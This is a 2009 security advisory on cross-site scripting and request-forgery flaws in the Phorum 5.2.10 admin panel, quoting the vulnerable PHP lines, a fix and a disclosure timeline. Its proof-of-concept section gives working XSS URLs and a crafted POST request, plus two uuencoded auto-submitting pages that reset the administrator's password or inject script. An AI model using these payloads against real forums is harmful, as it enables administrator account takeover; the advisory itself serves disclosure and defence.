Phorum < 5.2.10 Cross-Site Scripting/Request Forgery

Phorum < 5.2.10 Cross-Site Scripting/Request Forgery

        Title: Phorum < 5.2.10 Cross-Site Scripting/Request Forgery
        Advisory ID: VUDO-2009-1504
        Advisory URL: http://research.voodoo-labs.org/advisories/4
        Date founded: 10-4-2009
        Vendors contacted: Phorum
        Class: Multiple Vulnerabilities
        Remotely Exploitable: Yes
        Localy Exploitable: No
        Exploit/PoC Available: Yes
        Policy: Full Disclosure Policy (RFPolicy) v2.0

#=Tested & Vulnerable packages 
        [+] Phorum 5.2.10
        [+] Phorum 5.2-dev

Solutions and Workarounds
Phorum released some important fixes for the Cross-Site Scripting vulnerabilities [1]

Technical Information
Phorum [2] suffers from a series of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) vulnerabilities, trough the admin panel and the "file uploading" section (with an XML file but it only works if you are using Mozilla Firefox as browser and a crafted XUL file). Some other vulnerabilities:
 
[*] Cross-Site Scripting (XSS):
        
        The most simple XSS can be executed easily and the error can be found on the file
        "include/admin/banlist.php":
        
        +++include/admin/banlist.php @@ 88:104
            88    if($_GET["curr"] && $_GET["delete"]){
            89
            90        ?>
            91
            92        <div class="PhorumInfoMessage">
            93            Are you sure you want to delete this entry?
            94            <form action="<?php echo $PHORUM["admin_http_path"] ?>" method="post">
            95                <input type="hidden" name="module" value="<?php echo $module; ?>" />
XXX    96                <input type="hidden" name="curr" value="<?php echo $_GET['curr']; ?>" />
            97                <input type="hidden" name="delete" value="1" />
            98                <input type="submit" name="confirm" value="Yes" />&nbsp;<input type="submit" 
            name="confirm" value="No" />
            99            </form>
           100        </div>
           101
           102        <?php
           103
           104    } else {
        ---include/admin/banlist.php
        
        The same security flaw can be found in the file "include/admin/banlist.php", line 94, and can be also exploited with a single GET petition.
        Here's another XSS attack but more difficult to be exploited, because you need to modify the user's cookies to store the vector and redirect him to the "versioncheck.php" file:
        
        +++versioncheck.php @@ 79:83
            79    <?php if ($upgrade_available) { ?>
            80      <div class="notify_upgrade">
XXX    81        <a target="_top" href="admin.php?module=version">New Phorum version <?php print 
                $upgrade_available ?> available!</a>
            82      </div>
            83    <?php } else { ?>
        ---versioncheck.php

        There's another XSS on the file "include/admin/users.php" but it can only be exploited from a POST request on this lines:
        
        +++include/admin/users.php @@ 87:93
            87          //check for a valid email
            88          if (!empty($_POST["email"])) {
            89              include('./include/email_functions.php');
            90              $valid_email = phorum_valid_email($_POST["email"]);
            91              if ($valid_email !== true)
XXX    92                  $error = "The email \"$_POST[email]\" is not valid!";
            93          }
        ---include/admin/users.php
        
        Also the line 82, on the same file, its vulnerable to the same attack.
        In the users.php file there's another vulnerable line, trough the request Referer parameter or 
        $_POST['referrer'].
        
        +++include/admin/users.php @@ 52:59
            52if (isset($_POST['referrer'])) {
XXX    53    $referrer = $_POST['referrer'];
            54    unset($_POST['referrer']);
            55} elseif (isset($_SERVER['HTTP_REFERER'])) {
XXX    56    $referrer = $_SERVER['HTTP_REFERER'];
            57} else {
            58    $rererrer = "{$PHORUM["admin_http_path"]}?module=users";
            59}
        ---include/admin/users.php
        +++include/admin/users.php @@ 659:661
           659
XXX   660    $frm->hidden("referrer", $referrer);
           661
        ---include/admin/users.php

        A way to fix this can be done using htmlspecialchars() or htmlentities() and any other function that 
        does a sanity check, i.e:
        
        +++
        <input type="hidden" name="curr" value="<?php echo htmlentities($_GET['curr'], ENT_QUOTES,
        'UTF-8'); ?>" />
        ---
        
        
[*] Cross-Site Request Forgery (CSRF):
        
        All the forms on the admin panel it's vulnerable to CSRF because of the lack of security tokens to check if the administrator really wants to do those actions. Without a token an attacker can create a new user as admin or change the administrator passwords and other personal data. Another type of action can be done with a simple bbcode [img] tag. When the administrator see the [img] tag with a special crafted URL, an action, such as delete a topic, could be executed.
        A more dangerous attack can lead to JavaScript execution.
        
        
[3] Other vulnerabilities were founded on this application. (WHK)

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[*] Cross-Site Scripting (XSS):

        +++
        http://localhost/phorum-5.2.10/admin.php?module=banlist&curr=1"><img/src/onerror="alert('voodoo');
        &delete=1
        ---
        
        +++
        http://www.victim.com/phorum-5.2.10/admin.php?module=badwords&curr=1"><img/src/onerror="
        alert('voodoo');&delete=1
        ---
        
        +++
        javascript:with(document)cookie="phorum_upgrade_available=
        <iframe/src='javascript:alert(/voodoo/.source)'>",
        location="http://www.victim.com/phorum-5.2.10/versioncheck.php";
        ---
        
        +++
        POST /phorum-5.2.10/admin.php HTTP/1.1 
        
        module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers&addUser=1&username=xss&real_name=xss&
        email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss &admin=0
        ---
        
[*] Cross-Site Request Forgery (CSRF):

        Other CSRF proof-of-concept exploits can be found on:
                [*] http://research.voodoo-labs.org/code/exploits/phorum/5.2.10/
                
        If the administrator see this special crafted HTML page, his password will be changed to a string specified by the attacker. (uuencoded)
        
        +++
        begin 644 attack.html
        M/&AT;6P^"CQB;V1Y/@H)/&@Q/E!H;W)U;2`U+C(N,3`@(F5D:71U<V5R(B!#
        M4U)&(&%T=&%C:SPO:#$^"@D\9F]R;2!A8W1I;VX](FAT='`Z+R]W=W<N=FEC
        M=&EM+F-O;2]P:&]R=6TM-2XR+C$P+V%D;6EN+G!H<"(@;65T:&]D/2)03U-4
        M(CX*"0D\:6YP=70@;F%M93TB;6]D=6QE(B!V86QU93TB=7-E<G,B('1Y<&4]
        M(FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G-E8W1I;VXB('9A;'5E/2)M86EN
        M(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)R969E<G)E<B(@=F%L
        M=64](FAT='`Z+R]W=W<N=FEC=&EM+F-O;2]P:&]R=6TM-2XR+C$P+V%D;6EN
        M+G!H<"(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB=7-E<E]I9"(@
        M=F%L=64](C$B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G)E86Q?
        M;F%M92(@<VEZ93TB-3`B('9A;'5E/2(B('1Y<&4](FAI9&1E;B(^"@D)/&EN
        M<'5T(&YA;64](F5M86EL(B!S:7IE/2(U,"(@=F%L=64](F%D;6EN0'=E8FUA
        M<W1E<BYC;VTB('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G!A<W-W
        M;W)D,2(@=F%L=64](G!W;F5D(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N
        M86UE/2)P87-S=V]R9#(B('9A;'5E/2)P=VYE9"(@='EP93TB:&ED9&5N(CX*
        M"0D\=&5X=&%R96$@<W1Y;&4](G=I9'1H.C!P>#MH96EG:'0Z,'!X.V)O<F1E
        M<CHP<'@[(B!N86UE/2)S:6=N871U<F4B(&-O;',](C,P(B!R;W=S/2(U(CYV
        M;V]D;V\\+W1E>'1A<F5A/@H)"3QS96QE8W0@<W1Y;&4](G=I9'1H.C!P>#MH
        M96EG:'0Z,'!X.V)O<F1E<CHP<'@[(B!N86UE/2)A8W1I=F4B/@H)"0D\;W!T
        M:6]N('9A;'5E/2(P(CY.;SPO;W!T:6]N/@H)"0D\;W!T:6]N('9A;'5E/2(Q
        M(B!S96QE8W1E9#TB<V5L96-T960B/EEE<SPO;W!T:6]N/@H)"3PO<V5L96-T
        M/@H)"3QS96QE8W0@<W1Y;&4](G=I9'1H.C!P>#MH96EG:'0Z,'!X.V)O<F1E
        M<CHP<'@[(B!N86UE/2)A9&UI;B(^"@D)"3QO<'1I;VX@=F%L=64](C`B/DYO
        M/"]O<'1I;VX^"@D)"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE
        M8W1E9"(^665S/"]O<'1I;VX^"@D)/"]S96QE8W0^"@D)/&EN<'5T('9A;'5E
        M/2)5<&1A=&4B(&-L87-S/2)I;G!U="UF;W)M+7-U8FUI="(@='EP93TB:&ED
        M9&5N(CX*"3PO9F]R;3X*"3QS8W)I<'0^<V5T5&EM96]U="AF=6YC=&EO;B_at_I
        M>V1O8W5M96YT+F9O<FUS6S!=+G-U8FUI="@I.WTL,'@U,#`I.SPO<V-R:7!T
        3/@H\+V)O9'D^"CPO:'1M;#X*"@``
        `
        end
        ---
        
[*] CSRF + XSS:

        This is another way to exploit those two types of attacks (XSS and CSRF). If the administrator see this page a new folder will be created and the name is going to be a special HTML tag with a JavaScript script. (uuencoded)
        
        +++
        begin 644 attack.html
        M/&AT;6P^"CQB;V1Y/@H)/&@Q/E!H;W)U;2`U+C(N,3`@(FYE=V9O;&1E<B(@
        M0U-21BM84U,@871T86-K/"]H,3X*"3QF;W)M(&%C=&EO;CTB:'1T<#HO+W=W
        M=RYV:6-T:6TN8V]M+W!H;W)U;2TU+C(N,3`O861M:6XN<&AP(B!M971H;V0]
        M(E!/4U0B/@H)"3QI;G!U="!T>7!E/2)H:61D96XB(&YA;64](F9O;&1E<E]F
        M;&%G(B!V86QU93TB,2(^"@D)/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB
        M;6]D=6QE(B!V86QU93TB;F5W9F]L9&5R(CX*"0D\:6YP=70@='EP93TB:&ED
        M9&5N(B!N86UE/2)N86UE(B!S:7IE/2(S,"(@=F%L=64](B9L=#MI9G)A;64O
        M<W)C/2=J879A<V-R:7!T.F%L97)T*"]V;V]D;V\O+G-O=7)C92D[)R9G=#LB
        M(#X\+W1D/@H)"3QT97AT87)E82!N86UE/2)D97-C<FEP=&EO;B(@8V]L<STB
        M-C`B(')O=W,](C$P(B!S='EL93TB=VED=&@Z,'!X.VAE:6=H=#HP<'@[8F]R
        M9&5R.C!P>#LB/CPO=&5X=&%R96$^/"]T9#X*"0D\<V5L96-T('-T>6QE/2)W
        M:61T:#HP<'@[:&5I9VAT.C!P>#MB;W)D97(Z,'!X.R(@;F%M93TB<&%R96YT
        M7VED(B`^"@D)"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE8W1E
        M9"(^+2U.;VYE+2T\+V]P=&EO;CX*"0D\+W-E;&5C=#X*"0D\<V5L96-T('-T
        M>6QE/2)W:61T:#HP<'@[:&5I9VAT.C!P>#MB;W)D97(Z,'!X.R(@;F%M93TB
        M86-T:79E(B`^"@D)"3QO<'1I;VX@=F%L=64](C`B/DYO/"]O<'1I;VX^"@D)
        M"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE8W1E9"(^665S/"]O
        M<'1I;VX^"@D)/"]S96QE8W0^"@D)/'-E;&5C="!S='EL93TB=VED=&@Z,'!X
        M.VAE:6=H=#HP<'@[8F]R9&5R.C!P>#LB(&YA;64](G1E;7!L871E(B`^"@D)
        M"3QO<'1I;VX@=F%L=64](F5M97)A;&0B('-E;&5C=&5D/2)S96QE8W1E9"(^
        M4&AO<G5M($5M97)A;&0_at_5&5M<&QA=&4@,2XP/"]O<'1I;VX^"@D)"3QO<'1I
        M;VX@=F%L=64](F-L87-S:6,B/D-L87-S:6,@4&AO<G5M(%1E;7!L871E(#`N
        M-#PO;W!T:6]N/@H)"0D\;W!T:6]N('9A;'5E/2)L:6=H='=E:6=H="(^4&AO
        M<G5M($QI9VAT=V5I9VAT(%1E;7!L871E(#$N,#PO;W!T:6]N/@H)"3PO<V5L
        M96-T/@H)"3QS96QE8W0@<W1Y;&4](G=I9'1H.C!P>#MH96EG:'0Z,'!X.V)O
        M<F1E<CHP<'@[(B!N86UE/2)L86YG=6%G92(@/@H)"0D\;W!T:6]N('9A;'5E
        M/2)E;F=L:7-H(CY%;F=L:7-H("A!;65R:6-A;BD\+V]P=&EO;CX*"0D\+W-E
        M;&5C=#X*"0D\:6YP=70@='EP93TB:&ED9&5N(B!I9#TB861M:6Y?8VAE8VMB
        M;WA?,2(@;F%M93TB=G)O;W0B('9A;'5E/2(Q(CX*"0D\:6YP=70@='EP93TB
        M:&ED9&5N(B!V86QU93TB4W5B;6ET(B!C;&%S<STB:6YP=70M9F]R;2US=6)M
        M:70B/@H)/"]F;W)M/@H)/'-C<FEP=#YS9714:6UE;W5T*&9U;F-T:6]N*"E[
        M9&]C=6UE;G0N9F]R;7-;,%TN<W5B;6ET*"D[?2PP>#4P,"D[/"]S8W)I<'0^
        2"CPO8F]D>3X*/"]H=&UL/@H*
        `
        end
        ---

Reporting Timeline
        [*] 10-04-2009: Bugs discovered.
        [*] 10-04-2009: Voodoo contacted the vendor (advisory draft included).
        [*] 13-04-2009: The vendor released fixes for Cross-Site Scripting vulnerabilities.
        [*] 15-04-2009: Advisory VUDO-2009-1504 published.

References

        [1] http://trac.phorum.org/changeset/4009
        [2] http://www.phorum.org/
        [3] http://foro.elhacker.net/nivel_web/multiples_fallas_en_phorum_5210-t248300.0.html

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